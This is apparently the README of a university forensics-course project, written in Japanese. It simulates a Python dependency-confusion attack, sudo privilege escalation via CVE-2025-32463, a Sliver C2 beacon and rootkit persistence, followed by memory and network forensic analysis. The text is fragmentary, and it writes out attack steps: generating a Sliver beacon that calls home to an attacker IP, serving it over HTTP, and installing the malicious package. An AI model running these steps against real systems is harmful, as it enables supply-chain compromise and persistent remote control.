
Pythonの依存関係混乱(Dependency Confusion)攻撃、sudo権限昇格(CVE-2025-32463)、ルートキットベースの永続化のエンドツーエンドシミュレーション - 完全なメモリおよびネットワークフォレンジック分析を伴う。
このプロジェクトは、Technische Hochschule DeggendorfのDigitale Forensikコースの一環として開発されました。
これは、以下を含む完全なフォレンジック調査と攻撃シミュレーションを示しています:
悪意のあるPyPIパッケージを使用したPython依存関係の混乱(dependency confusion)攻撃
脆弱なバージョンのsudoを介した権限昇格(CVE-2025-32463)
Sliver C2ビーコンの展開
カーネルモジュールのロード、システムコールフック、udevベースの永続化を備えたカスタムルートキット
Volatility、NetworkMiner、手動リバースエンジニアリングなどのツールを使用したメモリとネットワークアーティファクトの完全な分析
このリポジトリには、攻撃とフォレンジック調査の両方を再現するためのスクリプト、セットアップ手順、アーティファクト、および詳細な分析手順が含まれています。
shell)のセットアップ
shell binaryのリバースエンジニアリング
CVE-2025-32463
NVD詳細
PoC GitHub
[!NOTE]
脆弱なSudoバージョン(chrootサポート付き)をインストールする必要があります。詳細はprivesc/setup.shを参照してください。
sequenceDiagram autonumber participant Attacker participant PyPI participant IntDep as Internal Dep Server participant Dev as Developer participant C2 as C2 Server
Attacker->>PyPI: Publish package with version v1.0.3
Dev->>IntDep: pip install
IntDep-->>Dev: Returns v1.0.1
Dev->>PyPI: Fallback pip install package==v1.0.3
PyPI-->>Dev: Returns malicious v1.0.3 (stager)
Dev->>Dev: Executes stager (package_evil)
Dev->>C2: Beacon/Sliver implant calls home
Note right of C2: Attacker now has RCE
Attacker->>Dev: Enumerates sudo version (1.9.16p2)
Attacker->>Dev: Runs CVE-2025-32463 exploit
Note right of Dev: PE to root
Dev->>Dev: Downloads & runs rootkit loader binary
Dev->>Dev: Loader installs kernel module & configures udev rule
Dev->>Dev: Schedules reboot
Note right of Dev: Attacker established persistence
Dev->>Dev: System reboots
Dev->>Dev: Udev loads kernel module on boot
Dev->>C2: Kernel-stage beacon calls C2
# アーティファクト生成
すべてのアーティファクトは手動で生成されます。2台のマシンを使用します:
- **攻撃者マシン** (Kali Linux)
- **開発者マシン** (Ubuntu)
次の3つのアーティファクトを生成します:
- **PCAP** (再起動前)
- **メモリダンプ** (再起動後)
## メモリダンプの作成
[VirtualBoxメモリのダンプ方法](https://www.ired.team/miscellaneous-reversing-forensics/dump-virtual-box-memory)
ホストシステム上で:```shell
vboxmanage list vms
"linux-root-kit_default_1752261916398_20346" {c2d4b5bc-d87f-4dcb-af01-85b78c163fef}
virtualboxvm --startvm "linux-root-kit_default_1752261916398_20346" --dbg
インターフェース --> Debug に移動 デバッグコンソール(VMMR0> プロンプト)で:```shell .pgmphystofile 'dumpmem_linux_root_kit'
## Ubuntu でのネットワークダンプの準備
開発者をシミュレーションする前に開始してください。 `! port 22` は vagrant ssh 接続をログに記録しないようにするのに便利です。```shell
sudo tcpdump -w output.pcap ! port 22
shell)vagrant up
これには時間がかかる場合があります --> Bento でビルドされた VM 全体をダウンロードします。
## 2. VM が起動したら、SSH でログイン: ```shell
vagrant ssh
sudo bash /vagrant/privesc/setup.sh sudo apt install python3.12-venv
## 4. ユーザーランドローダーバイナリ(shell)をビルドします:
`make` ファイルを実行して、ユーザーランドバイナリ `shell` をビルドすることもできます。これが最も簡単な方法です。そうしない場合は、まず正しいヘッダーをインストールする必要があります :P。
## 5. `shell` をKaliに送信して、後でそこから配信します。
# Kali のセットアップ (192.168.56.101)
## 1. Sliver サーバーを起動 ```shell
sliver

generate beacon --os linux --format elf --arch amd64 --http 192.168.56.101

## 3. ビーコンの名前を変更して配信する ```shell
mv INTERNATIONAL_DETENTION lilux
python3 -m http.server 9001
http -l 80 -L 0.0.0.0
# 開発者をシミュレート
## 1. PoC をクローンする
このリポジトリは、dependency-confusion に対して脆弱な設定を持つ任意のリポジトリで構いません :D。 ```
git clone https://github.com/IC3-512/dependency-confusion-attack.git
python3 -m venv .venv source .venv/bin/activate
## 3. 依存関係のインストール ```
pip install --upgrade --force-reinstall --no-cache-dir -r requirements.txt --verbose
python3 app.py
これで、私たちのビーコンをロードして実行する悪意のあるパッケージが起動するはずです。
# 攻撃者をシミュレートする
_(悪い opsec xD)_
## 1. ビーコンを待機し、sudo のバージョンを確認する:

 ```
sudo -V